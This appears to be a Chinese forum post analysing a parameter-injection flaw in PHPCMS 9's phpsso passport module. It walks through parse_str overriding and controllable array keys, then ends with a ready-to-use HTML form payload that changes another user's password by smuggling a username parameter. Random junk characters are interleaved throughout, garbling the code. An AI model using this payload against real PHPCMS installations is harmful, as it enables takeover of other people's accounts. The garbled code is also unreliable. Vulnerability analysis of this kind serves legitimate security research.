提到的通行证的代码:6 w/ E! |( a+ v d5 J
- g% G3 S. W/ T. J$ E3 _# w( E5 x+ T) D) v/ n* C- a/ [' @
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);* g7 ^' L' C, L2 Y' M7 t4 i
" y0 Y5 n" G5 V3 h+ O2 @在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
! x6 P9 h8 u, R4 d1 f8 D3 B! H9 @- w8 U) F6 O4 f
我把它留给了你们。
4 M1 ]8 S1 V8 D8 H' Z" u不知道你们发现了它没有。0 s! n: N; A. A% o3 ?0 M
: y+ Q( t0 ~# O3 N我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。0 b9 x- H" E+ W+ Q# S4 d
+ b5 N1 }2 C2 w6 [8 e( p所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。" y4 L) V$ G! M8 R
6 d! \ B3 P' u( M也就是3 L2 Z) W _" P/ U. P+ K8 j" W
! Z' Q8 g+ {8 s
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。4 Z: n7 z( ~# `# Q
; l8 g5 n* s! c) X
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。% y) S1 y. ]3 ?4 a5 T
! P! Z+ K/ r& t! W
/ y( Z- C5 I; Y! P+ Y5 B$ ^- _其实我们有这样的机会,看看代码,如下:. o- T; B/ l7 m- b& C% ]4 y
/ [! A* H$ y2 G/ w( k. G1 D) i, ~$ |" `! y' `
public function auth_data($data) {# [- ^, \9 D" V% _
$s = $sep = '';
/ a: S4 {% C4 @/ y/ r: v foreach($data as $k => $v) {
O/ n* a& M) t if(is_array($v)) {
- E! f$ f4 V, U9 {3 y- o* x5 V $s2 = $sep2 = '';+ @5 J3 f! T& S# E
foreach($v as $k2 => $v2) {
" t1 C6 F# a. D7 z9 M/ Y $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
$ M! q0 k# L7 K8 U" r $sep2 = '&';9 c5 T& S% R" t0 }( g! s
}" {8 l% ^9 q. S$ E# B) _
$s .= $sep.$s2;5 ~& W' o ]! a* ?
} else {
. ~& ?7 R6 B# W+ b6 [ $s .= "$sep$k=".$this->_ps_stripslashes($v);2 E0 x9 {& \& q8 W& N
}
% O$ ^! A; p1 ~' t/ j. S9 y$ \9 v2 t $sep = '&';: |2 J ?' O5 m, H" R
} q" m+ L" M( p
/ P( L A0 c) z; Z
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s)); }$ K+ G4 Y( F
return $auth_s;
M$ T0 o9 q$ ` }0 E% q% X& j$ O- b# r
! Z5 A/ ~3 ]9 M
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。; ?% _3 z2 ^4 g2 i0 x4 v
" f2 j/ v7 M$ \8 C5 q) ?举个例子0 |$ ~+ h" ]' y- S7 Q4 w
) S& Z0 e" Y, ~& T2 D7 r
$a[aaa=a&bbb] = 'a';
# S+ [* T+ N/ x) T% ~, }) u7 n, W$ Z/ R1 e$ J5 f$ A* A! I/ }
会变成aaa=a&bbb=a- c1 K9 Z2 r. t8 K0 @
6 o9 C6 j. y9 k- C明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
1 A" r; C3 B3 P' |$ ~
3 D* `" i: U' T8 h( k, R: G这个时候,我们可以再去看一个函数。
$ c% G6 r! l- f6 ~9 X0 z1 v. R
7 w/ K% l2 z3 m$ o* _# r$ p1 E就在这个文件内:
5 G/ L( J& r! l* s4 C- g/ L5 x# E: u% z/ b+ P) C
: Y- C, h+ U# R$ w
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {$ h* a9 z Z" X4 h n
if($email && !$this->_is_email($email)) {
N/ @/ m: f4 y return -4;
9 @( x: ?5 y4 z6 S( F }
7 P( s2 }3 P4 J2 N8 r- v/ B return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
) z2 T1 R) g. N; u; ~ }
o) ^* Y( E/ U+ [9 [/ W% m# e( _% i3 ]9 o
这是向通行证发了这样一个请求。, |, _/ ~3 Q: @% W7 ^
5 b+ S& ?- _- |2 I6 K% r. u
我们再跟到通信证代码里去看看,就会有所发现。- Q( F: Y2 q7 q
1 R5 {% K- [$ q. ~/ k4 L
/ X- m; g0 a* `. }4 ipublic function edit() {
: W6 ?9 m# l x' ^1 u. t//能省就省,太长了不是吗?- w+ N% y( ]/ |: ?( y" }/ s
. Z4 G0 a. w% |% B/ _4 \
if($this->username) {/ `! G7 |7 o' m0 i- B
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
+ u+ _/ D# E1 |$ R: R $res = $this->db->update($data, array('username'=>$this->username));2 b b6 o$ I5 n7 }# ], d
} else {
- c: ^! O. V' v file_put_contents('typeb.txt',print_r($data,1).$this->uid);
8 C/ n( [0 q3 M2 U- G $res = $this->db->update($data, array('uid'=>$this->uid)); p% {0 S( i8 V! g5 @1 Z
}
/ g* r; k& `# O5 g+ E3 K' Z
" F7 q: p2 |- w& ?好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:! d! v9 f8 D# Y Q- R: i8 c
# K- }) Q8 {. F4 m; a: y, epublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
1 g H1 T1 F' k2 c8 H0 k9 o* X) P: t" X& e9 _, d, P; e$ ]0 Z+ \0 U" f6 a
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。 t ]+ t% A: m9 u1 W+ I
* H) |: c5 l. b r! p6 }# ^& L我当然找到了:
j. I! v: ?( B& I. h; ?6 R5 dphpcms9/phpcms/modules/member/index.php
4 G3 h- K3 `- c$ M U) }& ^
; K5 j3 J' D9 w3 d$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
6 j, ]" y, B9 Z f
* h$ k M/ s0 D1 r然后就没有然后了。 W4 S/ M- j* n7 J+ o/ \5 Z
5 {. }" D- e9 C& W
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">7 R/ Y5 Y5 }+ `
<table width="100%" cellspacing="0" class="table_form">% Q( S. f0 Q9 W- F7 H3 L
<tr>
. s0 |+ ^ O1 T d: s1 X <th width="80">邮箱:</th>
8 K3 S* J# p1 v, i+ i: @/ N" f" j3 ]- v <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>7 M" P1 B! P" {/ m" s
</tr>
/ Q2 I. ~3 A7 m <tr>
/ \& U' C5 G" f3 ]2 V f* E <th width="80">原密码:</th> 8 z$ a% Q4 T9 q" m0 F8 @
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
/ \( R2 Y1 ?5 O1 j; k9 C </tr>
0 W, b, y0 n) k' w4 O <tr>
" i8 o: _/ u: b- G! G. l <th>新密码:</th>8 q0 s" }! m. G7 _
<td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td> R4 j" o+ N* I1 @5 ^( L+ V$ L
</tr>
9 Q/ H5 N5 u) f7 @; { <th></th>; _8 @+ w; T% L
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
' b" z5 B% L- C- U7 D$ r# t </tr>
# o% M% u+ j( r7 a' F1 _2 {6 u$ r </table>& {$ Y# c4 t& u9 k o6 `1 f6 P3 B
9 r8 w) Z6 q |! Q ! a( G! W' _0 b
</form>8 H' e' ?2 s% Y- `7 t* D
|